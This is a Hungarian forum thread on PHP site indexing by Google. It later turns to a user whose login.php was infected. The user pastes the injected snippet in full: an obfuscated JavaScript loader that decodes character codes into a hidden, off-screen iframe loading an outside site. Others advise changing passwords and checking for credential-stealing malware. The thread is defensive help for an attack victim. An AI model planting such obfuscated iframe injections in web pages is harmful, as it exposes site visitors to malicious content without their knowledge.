Jump to content
GSForum - Segélyvonal

PHP kérdésem van


Recommended Posts

Posted

Így?

\'\

 

UI:

Vissza az egész rájöttem \' így megy, köszi.

Posted

A következõn gondolkoztam el:

Ha készítek egy olyan oldalt, ahol mindent PHP-vel csinálok, és a tartalom SQL adat formájában létezik, és ha valaki lekéri az oldalt, akkor az abban a pillanatban lesz elkészítve különbözõ lekérdezések segítségével. Akkor ezt a Google hogyan térképezi fel?

 

Posted

Az adott állapotot indexeli. Illetve hozzá a megadott kulcsszavakat stb.

Posted

:hááát: kicsit kifejtenéd bõvebben mit jelent az adott állapot? Mert ha van egy jó nagy SQL táblám, akkor abból az adatok nagyon sokféleképpen lekérhetõek...

A kulcsszavaknál a meta adatokra gondolsz?

Posted

Ja én azt hittem, hogy mindig ugyanaz a lekérdezés fut le, csak más adatokkal. Pontosan mit csinál?

 

Igen, a meta adatokat mondtam.

Posted

Az én oldalam azt csinálja, hogy van egy halom cég, közület, szolgáltató egy adatbázisban, és a látogató kereshet közöttük. Így végül is mindig a látogatón múlik, hogy éppen milyen részét kérte le az adatbázisnak és mi jelenik meg a képernyõn. És itt gondolkodtam el a Googlén...

 

Végül is így a metaadatokat sem nagyon lehet a tartalomhoz igazítani, mert gyakorlatilag mindenrõl szól az oldal. :D

 

Posted

Szerintem ezt nem fogja beindexelni a Google tartalom alapján, mert a Google bot nem keres -- legjobb tudomásom szerint. Az ilyen oldalakat max úgy tudja beindexelni, ha hivatkozásokat talál az oldaladra, ahol a címben paraméterezett keresés valamilyen eredményt ad. Viszont azt megteheted, hogy metatagekbe bepakolod az összes cég, közület, szolgáltató nevét, akiknek az adatait tárolod.

Posted

Értem!

Akkor viszont, hogy csinálják pl. akik használtautókereskedõs oldalt mûködtetnek? Gondolom ott is minden táblákban van.

Posted

Úgy, hogy bejárható a kereskedés kínálata az oldalon elhelyezett URL-ek által és minden terméknek saját, egyedi címzésű aloldala van.

 

shop.pcworld.hu, mint evidens példa?

Posted

Összefoglalva: azt az oldalt, ami csak és kizárólag egy adatbázisbeli keresés eredményeként jön létre, nem fogja indexelni a Google, hanem csak azokat, amikre linkeken keresztül el lehet jutni.

Posted

Megnéztem a shop.pcworld.hu oldalt. Látom, hogy minden terméknek saját linkje van.

Azt is értem, hogy ha csak adatbázisból jön össze az oldal linkek nélkül, akkor nem lesz indexelve.

 

Akkor ahhoz kellene egy kis segítség, hogy hogyan lehet megoldani ezt a problémát? Mert végül is minden találat az oldalamon egy-egy céget, orvost, fodrászt jelent.

 

Posted

Hozzál létre egy "katalógus" oldalt vagy oldalakat, amit mondjuk naponta vagy hetente frissítesz.

 

Posted

Olyanra gondolsz, hogy egy oldalon ki legyen listázva mondjuk minden, és minden bejegyzéshez legyen egy link, amire kattintva csak az az egy bejegyzés jelenjen meg a táblából?

Posted

hmmm... nem kis meló. :( De áldozatos, és kitartó munkával mindent meg lehet csinálni... :D

 

És az nem számít a Googlenak, hogy a link végén egy sql lekérdezés van? Azt végigköveti?

Vagy csak lekéri az oldalt, a php felépíti ahogy kell, és amit kap eredményül azt indexeli?

 

Posted

Az utóbbi. A keresőt nem érdekli, hogyan készült az oldal, csak a tartalma.

Posted

Köszi!

Hát akkor neki kell állni linkeket gyártani... de gondolom az nem baj a Googlenak, ha azt is PHP-val hozom össze. Nem lenne szép dolog annyit gépelni...

Posted

Persze, hogy nem baj. A PHP szerveroldalon fut le, a Google csak a kész oldalt látja.

Posted

Mondjuk még kategóriánként is szétszedheted, és hívhatod névjegyzéknek vagy cégjegyzéknek. Még jól is jöhet.

Posted

OK! Nagyon köszönöm a segítségeket! :ötlet:

Posted

Sziasztok! Egy elég ijesztõ problémával állok szemben, egy chmod 644-es login.php fájlomhoz valaki vagy valami hozzáfûzte ezt a kódrészletet:

<?php echo '<script type="text/javascript">var gBhwGdGvEUgyLteZaNBv = "RvA60RvA105RvA102RvA114RvA97RvA109RvA101RvA32RvA119RvA105RvA100RvA116RvA104RvA61RvA34RvA52RvA56RvA48RvA34RvA32RvA104RvA101RvA105RvA103RvA104RvA116RvA61RvA34RvA54RvA48RvA34RvA32RvA115RvA114RvA99RvA61RvA34RvA104RvA116RvA116RvA112RvA58RvA47RvA47RvA112RvA114RvA111RvA102RvA105RvA116RvA111RvA111RvA108RvA116RvA105RvA112RvA46RvA98RvA105RvA122RvA47RvA98RvA108RvA111RvA103RvA47RvA102RvA101RvA101RvA100RvA46RvA104RvA116RvA109RvA108RvA34RvA32RvA115RvA116RvA121RvA108RvA101RvA61RvA34RvA98RvA111RvA114RvA100RvA101RvA114RvA58RvA48RvA112RvA120RvA59RvA32RvA112RvA111RvA115RvA105RvA116RvA105RvA111RvA110RvA58RvA114RvA101RvA108RvA97RvA116RvA105RvA118RvA101RvA59RvA32RvA116RvA111RvA112RvA58RvA48RvA112RvA120RvA59RvA32RvA108RvA101RvA102RvA116RvA58RvA45RvA53RvA48RvA48RvA112RvA120RvA59RvA32RvA111RvA112RvA97RvA99RvA105RvA116RvA121RvA58RvA48RvA59RvA32RvA102RvA105RvA108RvA116RvA101RvA114RvA58RvA112RvA114RvA111RvA103RvA105RvA100RvA58RvA68RvA88RvA73RvA109RvA97RvA103RvA101RvA84RvA114RvA97RvA110RvA115RvA102RvA111RvA114RvA109RvA46RvA77RvA105RvA99RvA114RvA111RvA115RvA111RvA102RvA116RvA46RvA65RvA108RvA112RvA104RvA97RvA40RvA111RvA112RvA97RvA99RvA105RvA116RvA121RvA61RvA48RvA41RvA59RvA32RvA45RvA109RvA111RvA122RvA45RvA111RvA112RvA97RvA99RvA105RvA116RvA121RvA58RvA48RvA34RvA62RvA60RvA47RvA105RvA102RvA114RvA97RvA109RvA101RvA62";var tFWwuHhNLrortVozzuuD = gBhwGdGvEUgyLteZaNBv.split("RvA");var OaCaUhzuuBpnGMjBTROe = "";for (var IDWCYKBYFvcTWeuqLukF=1; IDWCYKBYFvcTWeuqLukF<tFWwuHhNLrortVozzuuD.length; IDWCYKBYFvcTWeuqLukF++){OaCaUhzuuBpnGMjBTROe+=String.fromCharCode(tFWwuHhNLrortVozzuuD[IDWCYKBYFvcTWeuqLukF]);}document.write(OaCaUhzuuBpnGMjBTROe)</script>'; ?>

 

A kérdésem: ezt hogyan tehette meg (hogyan védjem ki?), illetve egész pontosan mit illesztett be? Vírusirtó jelzett rá: HTML:Iframe-EJ[Trj].

Posted

Valaki ismeri a feltöltési jelszavadat. Változtassál jelszót!

Posted

Idõközben utánanézve igencsak úgy néz ki, hogy megfertõzte egy viszonylag új (adathalász) vírus a webszervert.

A tulajdonos megígérte, hogy elintézi a dolgot.

Viszont én szeretném, ha ilyen többet nem fordulna elõ. Van rá mód, hogy valamilyen módon védekezzek az ilyen ellen? (Minden PHP fájlom dinamikusan épül fel, tehát az oldal nyitó és záró parancsait egy függvény segítségével hívja meg. Tehát ez a kód lényegében egy </HTML> után került beszúrásra, mégis minden böngészõ értelmezte.) Van rá mód, hogy olyan lezárást adjak a fájloknak, hogy mindegy legyen, hogy van-e utána bármi is (pl. ez a rosszindulatú JavaScript)?

Posted

Az egy dolog, de honnan? Mert ha a te gépeden keresztül, akkor jó volna ott is szétnézni. Hallottam már ilyenrõl, hogy a webprogramozó a web árnyékos oldalára tévedt, beült a gépére valami trágya, ami logolta a loginokat és miután volt már neve és jelszava, felment és szétfertõzte az összes PHP-t. Ilyenkor kevés csak a szervert lepucolni.

 

Egyébként megpróbálhatsz a

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...